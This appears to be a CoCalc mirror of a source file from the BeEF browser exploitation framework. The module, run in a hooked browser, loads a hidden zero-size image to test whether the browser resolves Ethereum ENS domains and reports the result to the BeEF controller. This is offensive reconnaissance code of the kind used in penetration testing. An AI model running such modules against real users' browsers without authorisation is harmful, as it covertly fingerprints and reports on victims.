Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/detect_ethereum_ens/command.js
1155 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) {
9
return "Img already created";
10
}
11
12
var img = new Image();
13
img.setAttribute("style", "visibility:hidden");
14
img.setAttribute("width", "0");
15
img.setAttribute("height", "0");
16
img.src = '<%= @ethereum_ens_resource %>';
17
img.id = 'ethereum_ens_img_<%= @command_id %>';
18
img.setAttribute("attr", "start");
19
img.onerror = function() {
20
this.setAttribute("attr", "error");
21
};
22
img.onload = function() {
23
this.setAttribute("attr", "load");
24
};
25
26
document.body.appendChild(img);
27
28
setTimeout(function() {
29
var img = document.getElementById('ethereum_ens_img_<%= @command_id %>');
30
if (img.getAttribute("attr") == "error") {
31
beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.');
32
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.');
33
} else if (img.getAttribute("attr") == "load") {
34
beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.');
35
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.');
36
} else if (img.getAttribute("attr") == "start") {
37
beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
38
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.');
39
};
40
document.body.removeChild(img);
41
}, <%= @timeout %>);
42
43
});
44
45